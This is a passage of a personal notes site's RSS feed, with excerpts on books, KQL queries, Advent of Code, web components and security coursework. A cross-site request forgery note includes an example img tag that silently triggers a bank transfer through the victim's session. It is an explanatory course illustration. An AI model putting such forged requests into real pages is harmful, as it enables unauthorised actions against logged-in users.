&lt;h2 id="remarks-on-blacks-the-prevalence-of-humbug"&gt;Remarks on Black&amp;rsquo;s &amp;ldquo;The Prevalence of Humbug&amp;rdquo; &lt;span class="citation-ref"&gt;&lt;a href="#Max1982"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Humbug: deceptive misrepresentation, short of lying, especially by pretentious
word or deed, of somebody&amp;rsquo;s own thoughts, feelings or attitudes.&lt;/p&gt;</description></item><item><title>02. The Mythical Man-Month</title><link>https://www.curiosities.dev/computer-science/swe-in-practice/mythical-man-month/brooks-02-the-mythical-man-month/</link><pubDate>Tue, 01 Oct 1974 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/swe-in-practice/mythical-man-month/brooks-02-the-mythical-man-month/</guid><description>&lt;p&gt;More software projects have gone awry for lack of calendar time than for all other causes combined.&lt;/p&gt;
&lt;h2 id="why-is-this-cause-of-disaster-so-common"&gt;Why is this cause of disaster so common?&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Our estimation techniques assume that all will go well, &lt;em&gt;i.e. each task will take only as long as it &amp;ldquo;ought&amp;rdquo; to take.&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Our estimating techniques fallaciously confuse effort with progress, hiding the assumption that men and months are interchangeable.&lt;/li&gt;
&lt;li&gt;Because we are uncertain of our estimates, software managers often lack the courteous stubbornness - &lt;em&gt;if you&amp;rsquo;re made to wait, it is to serve you better, and to please you&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Schedule progress is poorly monitored.&lt;/li&gt;
&lt;li&gt;When schedule slippage is recognized, the natural (and traditional) response is to add manpower, which is like dousing a fire with gasoline.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="optimism"&gt;Optimism&lt;/h2&gt;
&lt;p&gt;For human makers, the incompletenesses and inconsistencies of our ideas become clear only during implementation.&lt;/p&gt;</description></item><item><title>KQL: Aggregation Functions</title><link>https://www.curiosities.dev/computer-science/analyzing-datastores/kusto-aggregation-fns/</link><pubDate>Sat, 24 May 2025 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/analyzing-datastores/kusto-aggregation-fns/</guid><description>&lt;p&gt;&lt;strong&gt;Aggregation functions&lt;/strong&gt; allow you to group and combine data from multiple rows
into a summary value. &lt;span class="citation-ref"&gt;&lt;a href="#AggregationFnsKQL"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#help.Samples"&gt;&lt;/a&gt;&lt;/span&gt; contains the database referenced in this document.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;h2 id="use-the-summarize-operator"&gt;Use the &lt;code&gt;summarize&lt;/code&gt; operator&lt;/h2&gt;
&lt;p&gt;Find the number of events by state.&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;State&lt;/th&gt;
 &lt;th&gt;TotalStorms&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;TEXAS&lt;/td&gt;
 &lt;td&gt;4,701&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;KANSAS&lt;/td&gt;
 &lt;td&gt;3,166&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&amp;hellip;&lt;/td&gt;
 &lt;td&gt;&amp;hellip;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;StormEvents&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#111"&gt;summarize&lt;/span&gt; &lt;span style="color:#111"&gt;TotalStorms&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;count&lt;/span&gt;&lt;span style="color:#111"&gt;()&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;by&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;State&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;summarize&lt;/code&gt; groups together rows based on the &lt;code&gt;by&lt;/code&gt; clause and uses the
aggregation function to combine each group into a single row.&lt;/p&gt;
&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#AggregationFnsKQL"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id="visualize-query-results"&gt;Visualize query results&lt;/h2&gt;
&lt;p&gt;Show a bar chart for the number of storm events by state for the top 5 states.&lt;/p&gt;</description></item><item><title>Browse Page</title><link>https://www.curiosities.dev/computer-science/programming-challenges/flashcards-app/web-components/browse-page/</link><pubDate>Sat, 20 Apr 2024 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/flashcards-app/web-components/browse-page/</guid><description>&lt;figure&gt;&lt;img src="https://www.curiosities.dev/img/computer-science/programming-challenges/flashcards/web-components/browse-landing-page.jpg"
 alt="When a user lands at /browse, this UI is shown. A couple of
components seem to emerge: search-bar, tags-list, card-results, and
mini-card."&gt;&lt;figcaption&gt;
 &lt;p&gt;When a user lands at /browse, this UI is shown. A couple of
components seem to emerge: search-bar, tags-list, card-results, and
mini-card.&lt;/p&gt;
 &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h2 id="search-bar"&gt;&lt;code&gt;&amp;lt;search-bar&amp;gt;&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Currently, this is rendered by &lt;code&gt;search_bar_dropdown.ejs&lt;/code&gt;, a partial that
that is included in both &lt;code&gt;/home&lt;/code&gt; and &lt;code&gt;/browse&lt;/code&gt;. The fact that there it
has JS, no server-delivered content, and has CSS makes it a good
candidate for a web component. Revving up &lt;code&gt;search-bar.ts&lt;/code&gt;.&lt;/p&gt;</description></item><item><title>AoC 2021 Day 03: Binary Diagnostic</title><link>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2021/src/BinaryDiagnostic/03-binary-diagnostic/</link><pubDate>Wed, 23 Feb 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2021/src/BinaryDiagnostic/03-binary-diagnostic/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='AoC2021-03'&gt;
 
 Day 3 - Advent of Code 2021&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 Eric Wastl.
 
 
 
 
 &lt;a href="https://adventofcode.com/2021/day/3" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=adventofcode.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;adventofcode.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Feb 23, 2022.
 
 
&lt;/div&gt;

&lt;h2 id="problem-description"&gt;Problem Description&lt;/h2&gt;
&lt;h3 id="part-one"&gt;Part One&lt;/h3&gt;
&lt;p&gt;The submarine has been making some odd creaking noises, so you ask it to
produce a diagnostic report just in case.&lt;/p&gt;
&lt;p&gt;The diagnostic report (your puzzle input) consists of a list of binary
numbers which, when decoded properly, can tell you many useful things
about the conditions of the submarine. The first parameter to check is
the &lt;strong&gt;power consumption&lt;/strong&gt;.&lt;/p&gt;</description></item><item><title>03. Thriving Without Illusions</title><link>https://www.curiosities.dev/knowing/scout-mindset/03-thriving-without-illusions/</link><pubDate>Sat, 01 Jan 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/knowing/scout-mindset/03-thriving-without-illusions/</guid><description>&lt;h2 id="coping-with-reality"&gt;Coping with Reality &lt;span class="citation-ref"&gt;&lt;a href="#Galef2021-Ch7"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;This chapter felt a bit vacuous with its use of anecdotes to advance points.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;Criticism of studies that argue that self-deception makes us happier: conflation
of positive illusions and positive beliefs; unfounded definitions of what counts
as self-deception; results that can be equally well-explained by something else.&lt;/p&gt;
&lt;p&gt;There are alternative coping strategies that don&amp;rsquo;t involve self-deception:
making a hypothetical plan about some unpleasant and unavoidable thing; noticing
silver linings but not to the point of sweet lemons; admitting that things could be worse.&lt;/p&gt;</description></item><item><title>03. Speculative Bubbles from the Sixties into the Nineties</title><link>https://www.curiosities.dev/business/malkiel-a-random-walk-down-wall-street/part-1-stocks-and-their-value/malkiel-03-speculative-bubbles-from-the-60s-into-the-90s/</link><pubDate>Sat, 01 Jun 2019 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/malkiel-a-random-walk-down-wall-street/part-1-stocks-and-their-value/malkiel-03-speculative-bubbles-from-the-60s-into-the-90s/</guid><description>&lt;h2 id="the-sanity-of-institutions"&gt;The Sanity of Institutions&lt;/h2&gt;
&lt;h3 id="growth-tronics-and-synergy"&gt;Growth, Tronics and Synergy&lt;/h3&gt;
&lt;p&gt;Growth companies such as IBM and Texas Instruments sold at price-earnings multiples of more than 80. Questioning the propriety of such valuations became almost heretical.&lt;/p&gt;
&lt;p&gt;Companies plastered &amp;ldquo;tronics&amp;rdquo; in their name. The tronics boom came back to earth in 1962.&lt;/p&gt;
&lt;h4 id="synergy-generates-energy-the-conglomerate-boom"&gt;Synergy Generates Energy: The Conglomerate Boom&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Baker Co. &amp;amp; Electronik Co. have 200k shares outstandings, and $5 earnings per share per year.&lt;/li&gt;
&lt;li&gt;Baker has a price-earnings multiple of 10. Each share is $50.&lt;/li&gt;
&lt;li&gt;Electronik has a price-earnings multiple of 20. Each share is $100.&lt;/li&gt;
&lt;li&gt;In their combination, 3 Baker shares ($150) are converted to 2 Electronik shares ($200).&lt;/li&gt;
&lt;li&gt;(Baker + Electronik) has 333,333 shares outstanding and $2m annual earnings.&lt;/li&gt;
&lt;li&gt;The conglomerate has $6 earnings per share per year! The stock rises to $120.&lt;/li&gt;
&lt;li&gt;Rinse and repeat.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Buzzwords: market matrices, core technology fulcrums, modular building blocks, nucleus theory of growth.&lt;/p&gt;</description></item><item><title>Secure Multiparty Computation</title><link>https://www.curiosities.dev/computer-science/cos432-information-security/14-privacy/privacy-enhancing-tech/secure-multiparty-computation/</link><pubDate>Tue, 22 Jan 2019 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/cos432-information-security/14-privacy/privacy-enhancing-tech/secure-multiparty-computation/</guid><description>&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;h3 id="timeline-of-secure-multi-party-communication"&gt;Timeline of Secure Multi-Party Communication &lt;span class="citation-ref"&gt;&lt;a href="#WikiMPC"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;In 1982, secure two-party computation (2PC) was introduced for problems that are
boolean predicates, e.g. 
&lt;a href="https://en.wikipedia.org/wiki/Yao%27s_Millionaires%27_problem"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Yao&amp;rsquo;s Millionaires'
Problem
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
 that
asks whether \(a \ge b\) is true without revealing the actual values of
\(a\) and \(b\).&lt;/p&gt;
&lt;p&gt;Andrew Yao generalized 2PC for any feasible computation in 1986. Goldreich,
Micali and Wigderson later generalized it to secure multiparty communication.&lt;/p&gt;
&lt;p&gt;Yao-based protocols requires that the function to be securely evaluated be
represented as a circuit, but an efficient transformation is not trivial. The
Fairplay system transforms a program in a high-level language into a boolean
circuit representation, garbles that circuit and then executes a protocol to
evaluate the garbled circuit. AES&amp;rsquo;s circuit has \(\approx 50K\) gates, while
the 4095-bit edit distance function has \(\approx 6B\) gates.&lt;/p&gt;</description></item><item><title>03. Cross-Site Request Forgery (XSRF)</title><link>https://www.curiosities.dev/computer-science/cos432-information-security/11-web-security/03-cross-site-request-forgery/</link><pubDate>Wed, 21 Nov 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/cos432-information-security/11-web-security/03-cross-site-request-forgery/</guid><description>&lt;h2 id="cross-site-request-forgery-xsrf"&gt;Cross-site Request Forgery (XSRF)&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;img&lt;/span&gt; &lt;span style="color:#75af00"&gt;src&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;http://bank.com/transfer?from=from_ID&amp;amp;to=to_ID&amp;amp;value=1000&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Because the user is logged in and has a cookie, the victim site trusts the
user&amp;rsquo;s browser.&lt;/p&gt;
&lt;p&gt;The attacker gets user/browser to execute command on victim site, e.g. request a
link, post a form. The command has permanent effects.&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;A frame can navigate its immediate children. Why is it designed such that it
can&amp;rsquo;t navigate its children too?&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Consider a website with a login frame, where the user inputs passwords. The
attacker can put this website inside a frame and navigate to the login frame and
steal passwords.&lt;/em&gt;&lt;/p&gt;</description></item><item><title>03. Apple Envy</title><link>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/03-apple-envy/</link><pubDate>Mon, 21 May 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/03-apple-envy/</guid><description>&lt;p&gt;Holmes&amp;rsquo;s Grand Plans. The iPod of health care. Build a personal disease map; reverse engineer cancer and predict evolution of tumors.&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Again, if she&amp;rsquo;s faking this belief, then its sociopathic. But &lt;em&gt;maybe&lt;/em&gt; she thought she could do it. Inventors go where no one else dares. They&amp;rsquo;re ridiculed by society. 
&lt;a href="https://quotecatalog.com/quote/rob-siltanen-heres-to-the-c-baVzWoa/"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Here&amp;rsquo;s to the crazy ones. The misfits. The rebels. The troublemakers.
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;Chat ports were blocked to protect proprietary information and trade secrets. Dinner was catered at 8pm to entice longer working days.&lt;/p&gt;</description></item><item><title>The Contagion Model</title><link>https://www.curiosities.dev/computer-science/networks/networks-friends-money-bytes/reaching-through-networks/02-modeling-social-influence/03-contagion-model/</link><pubDate>Mon, 13 Nov 2017 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/networks/networks-friends-money-bytes/reaching-through-networks/02-modeling-social-influence/03-contagion-model/</guid><description>&lt;p&gt;For any node to possibly flip, there must be some nodes that have the disease at \(t = 0\). These nodes are called seeders.&lt;/p&gt;
&lt;p&gt;Brings topology into the picture: &lt;em&gt;flip iff \(p\) of your neighbors have flipped&lt;/em&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Assumes that each node has the same flipping threshold \(p\)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="will-the-whole-network-flip"&gt;Will the Whole Network Flip?&lt;/h2&gt;
&lt;p&gt;For a cluster of nodes, let \(d_i\) be the fraction of the neighbors of \(i\) that are in the cluster. The density \(d\) of the cluster is \( min_i d_i \), i.e. the node with the most outside influence. For example:&lt;/p&gt;</description></item><item><title>Caveats on Similarity Learning</title><link>https://www.curiosities.dev/computer-science/machine-learning/ele364-machine-learning-and-predictive-analytics/05-similarity-based-learning/03-caveats-on-similarity-learning/</link><pubDate>Tue, 10 Oct 2017 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/machine-learning/ele364-machine-learning-and-predictive-analytics/05-similarity-based-learning/03-caveats-on-similarity-learning/</guid><description>&lt;p&gt;Similarity-based learning is intuitive and gives people confidence in the model.&lt;/p&gt;
&lt;p&gt;There is an &lt;strong&gt;inductive bias&lt;/strong&gt; that instances that have similar descriptive features belong to the same class.&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Remarkably so. When I think of classifying things, my mind immediately goes to NN.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;Similarity learning has a &lt;strong&gt;stationary assumption&lt;/strong&gt;, i.e. the joint PDF of the data doesn&amp;rsquo;t change (new classifications do not come up). This assumption is shared by supervised ML.&lt;/p&gt;</description></item><item><title>Caveats on Similarity Learning</title><link>https://www.curiosities.dev/computer-science/machine-learning/similarity-based-learning/caveats-on-similarity-learning/</link><pubDate>Tue, 10 Oct 2017 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/machine-learning/similarity-based-learning/caveats-on-similarity-learning/</guid><description>&lt;p&gt;Similarity-based learning is intuitive and gives people confidence in the model.&lt;/p&gt;
&lt;p&gt;There is an &lt;strong&gt;inductive bias&lt;/strong&gt; that instances that have similar descriptive features belong to the same class.&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Remarkably so. When I think of classifying things, my mind immediately goes to NN.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;Similarity learning has a &lt;strong&gt;stationary assumption&lt;/strong&gt;, i.e. the joint PDF of the data doesn&amp;rsquo;t change (new classifications do not come up). This assumption is shared by supervised ML.&lt;/p&gt;</description></item><item><title>03. Classification and Order</title><link>https://www.curiosities.dev/writing/the-new-strategy-of-style/03-classification-and-order/</link><pubDate>Tue, 03 Jan 2017 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/writing/the-new-strategy-of-style/03-classification-and-order/</guid><description>&lt;h2 id="classification"&gt;Classification&lt;/h2&gt;
&lt;p&gt;Remove material that&amp;rsquo;s not related to the specific subject-thesis.&lt;/p&gt;
&lt;p&gt;To hold readers attention, group materials into \(\le\) 6 categories.&lt;/p&gt;
&lt;h2 id="order"&gt;Order&lt;/h2&gt;
&lt;p&gt;The order in which you present the groups should serve a larger purpose.&lt;/p&gt;
&lt;h3 id="spatial-order"&gt;Spatial Order&lt;/h3&gt;
&lt;p&gt;The furniture in your room, a tour of the Louvre, or a trip across the country.&lt;/p&gt;
&lt;p&gt;A study of Michelangelo&amp;rsquo;s Moses: the sweep of marble hair; the furrowed brow; the piercing eyes; the famous hands; the strong angle of the body; the firmly planted feet.&lt;/p&gt;</description></item><item><title>3. Salesmen</title><link>https://www.curiosities.dev/social-science/sociology/gladwell-tipping-point/02-law-of-the-few/03-salesmen/</link><pubDate>Fri, 08 Jul 2016 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/social-science/sociology/gladwell-tipping-point/02-law-of-the-few/03-salesmen/</guid><description>&lt;h2 id="emotion-going-outside-in"&gt;Emotion Going Outside-In&lt;/h2&gt;
&lt;p&gt;Listeners who listened to the raise-fees message while nodding their heads wanted tution to rise to $646 and claimed that they found the editorial insightful. Those who were instructed to shake their heads to test earphone quality wanted tuition to fall to around $467. &lt;span class="citation-ref"&gt;&lt;a href="#Wells1980"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;When two people talk, their volume and pitch sync up, and engage in motor mimicry. If I can make you smile, I can make you happy. Some people are more effusive and therefore more emotionally contagious than the rest of us.&lt;/p&gt;</description></item><item><title>03. Those Grey Swans of Extremistan</title><link>https://www.curiosities.dev/business/taleb-the-black-swan/03-those-grey-swans-of-extremistan/</link><pubDate>Sun, 03 Jul 2016 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/taleb-the-black-swan/03-those-grey-swans-of-extremistan/</guid><description>&lt;h2 id="notes"&gt;Notes&lt;/h2&gt;
&lt;p&gt;Mediocristan vs Extremistan: In Extremistan, one single observation can disproportionately affect the outcome.&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Universa, a hedge fund made to exploit black swans, made 3,612% in March 2020 amidst the coronavirus crisis. Taleb is an advisor on the fund. &lt;span class="citation-ref"&gt;&lt;a href="#Gara2020"&gt;&lt;/a&gt;&lt;/span&gt; However, on a &amp;rsquo;normal&amp;rsquo; day, Universa is always losing money.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;If finance were Gaussian, then the 2008 crash (more than 20 std) would take place every several billion lifetimes of the universe. In the last 50 years, the 10 most extreme days in finance markets represent half the returns.&lt;/p&gt;</description></item><item><title>Against Rationalization</title><link>https://www.curiosities.dev/knowing/yudkowsky-rationality/02-how-to-actually-change-your-mind/03-against-rationalization/</link><pubDate>Sun, 01 Feb 2015 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/knowing/yudkowsky-rationality/02-how-to-actually-change-your-mind/03-against-rationalization/</guid><description>&lt;p&gt;Gathering evidence IRL may be expensive. When picking a stopping point, ask whether the collected evidence compels the conclusion, not whether it allows the conclusion.&lt;/p&gt;
&lt;p&gt;Check your motivations. Are you ignoring fast cheap evidence because you already have a comfortable conclusion? Are you holding out for expensive slow evidence because the conclusion is uncomfortable?&lt;/p&gt;
&lt;p&gt;A probabilistic model can take a few hits. But we sometimes assume a true theory can have no failures and a false theory can have no success.&lt;/p&gt;</description></item><item><title>Deeper Into Bullshit</title><link>https://www.curiosities.dev/knowing/calling-bullshit/01-intro-to-bullshit/03-cohen-deeper-into-bullshit/</link><pubDate>Tue, 01 Jan 2002 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/knowing/calling-bullshit/01-intro-to-bullshit/03-cohen-deeper-into-bullshit/</guid><description>&lt;h2 id="deeper-into-bullshit"&gt;Deeper Into Bullshit&lt;/h2&gt;
&lt;p&gt;Unlike 
&lt;a href="https://www.curiosities.dev/knowing/calling-bullshit/01-intro-to-bullshit/02-frankfurt-on-bullshit/#the-essence-of-bullshit"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Frankfurt&amp;rsquo;s argument that &amp;ldquo;the lack of concern to the truth&amp;rdquo; is the essence of bullshit
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
, unclarifiability is the essence of bullshit.&lt;/p&gt;
&lt;p&gt;The speaker&amp;rsquo;s state of mind is not a necessary condition: a liar may inadvertently speak the truth; an honest person may mistakenly speak falsely; an honest follower may regurgitate bullshit.&lt;/p&gt;
&lt;p&gt;Unclarifiable statements cannot be rendered unosbcure without creating something that is not recognizable of what was said, e.g. &lt;em&gt;If a lion could speak, we would not understand him&lt;/em&gt;.&lt;/p&gt;</description></item><item><title>03. The Surgical Team</title><link>https://www.curiosities.dev/computer-science/swe-in-practice/mythical-man-month/brooks-03-the-surgical-team/</link><pubDate>Tue, 01 Oct 1974 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/swe-in-practice/mythical-man-month/brooks-03-the-surgical-team/</guid><description>&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#Brooks1974-03"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id="the-dilemma"&gt;The Dilemma&lt;/h2&gt;
&lt;p&gt;There are wide productivity variations between good programmers and poor ones.
Sackman et. al. found 10:1 ratios. The data showed no correlation between
experience and performance.&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment open-comment" title="Open comment: unresolved question"&gt;&lt;p&gt;The idea of a 10x developer is mostly ridiculed in my online circles. That said,
some jobs have X years of experience as a requirement. How can we resolve these
contradictions?&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;The major part of the cost of large teams is communication, and system debugging
to correct the ill effects of miscommunication.&lt;/p&gt;</description></item><item><title>The Cards Manager</title><link>https://www.curiosities.dev/computer-science/programming-challenges/flashcards-app/web-components/cards-manager/</link><pubDate>Sun, 28 Apr 2024 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/flashcards-app/web-components/cards-manager/</guid><description>&lt;h2 id="ui-design"&gt;UI Design&lt;/h2&gt;
&lt;figure&gt;&lt;img src="https://www.curiosities.dev/img/computer-science/programming-challenges/flashcards/web-components/browse-card-viewer.jpg"
 alt="Legacy card viewing UI at /browse."&gt;&lt;figcaption&gt;
 &lt;p&gt;Legacy card viewing UI at /browse.&lt;/p&gt;
 &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;This time we&amp;rsquo;ll use the more semantic and a11y-friendly &lt;code&gt;&amp;lt;dialog&amp;gt;&lt;/code&gt;
element &lt;span class="citation-ref"&gt;&lt;a href="#dialogMDN"&gt;&lt;/a&gt;&lt;/span&gt;. Centering it in the page is done by the
browser, and that saves us a bit of hassle &amp;ndash; thought it would have been
feasible with how &lt;code&gt;&amp;lt;search-bar&amp;gt;&lt;/code&gt;&amp;rsquo;s &lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt; floats above the page.&lt;/p&gt;
&lt;h2 id="cardsmanager-interface"&gt;&lt;code&gt;CardsManager&lt;/code&gt; Interface&lt;/h2&gt;
&lt;p&gt;The previous/next buttons make use of the &lt;code&gt;CardsManager&lt;/code&gt; object that has
the API:&lt;/p&gt;</description></item><item><title>AoC 2021 Day 04: Giant Squid</title><link>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2021/src/GiantSquid/</link><pubDate>Fri, 25 Feb 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2021/src/GiantSquid/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='AoC2021-04'&gt;
 
 Day 4 - Advent of Code 2021&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 Eric Wastl.
 
 
 
 
 &lt;a href="https://adventofcode.com/2021/day/4" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=adventofcode.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;adventofcode.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Feb 25, 2022.
 
 
&lt;/div&gt;

&lt;h2 id="part-one"&gt;Part One&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;You&amp;rsquo;re already almost 1.5km (almost a mile) below the surface of the
ocean, already so deep that you can&amp;rsquo;t see any sunlight. What you &lt;strong&gt;can&lt;/strong&gt;
see, however, is a giant squid that has attached itself to the outside
of your submarine.&lt;/em&gt;&lt;/p&gt;</description></item><item><title>04. Changing Your Mind</title><link>https://www.curiosities.dev/knowing/scout-mindset/04-changing-your-mind/</link><pubDate>Sun, 02 Jan 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/knowing/scout-mindset/04-changing-your-mind/</guid><description>&lt;h2 id="how-to-be-wrong"&gt;How to Be Wrong &lt;span class="citation-ref"&gt;&lt;a href="#Galef2021Ch10"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#Tetlock2016"&gt;&lt;/a&gt;&lt;/span&gt; found that experts were barely able to forecast better
than random chance. However, a small subset of people (coined
&amp;ldquo;superforecasters&amp;rdquo; ) were better. In a competition, they beat teams of top
professors and CIA professional analysts. These superforecasters were not
smarter than everyone else nor did they have more knowledge/experience, they
were great at being wrong.&lt;/p&gt;
&lt;p&gt;Change your mind a little at a time. Seeing the world in shades of grey is less
stressful, as the experience of encountering evidence against one of your
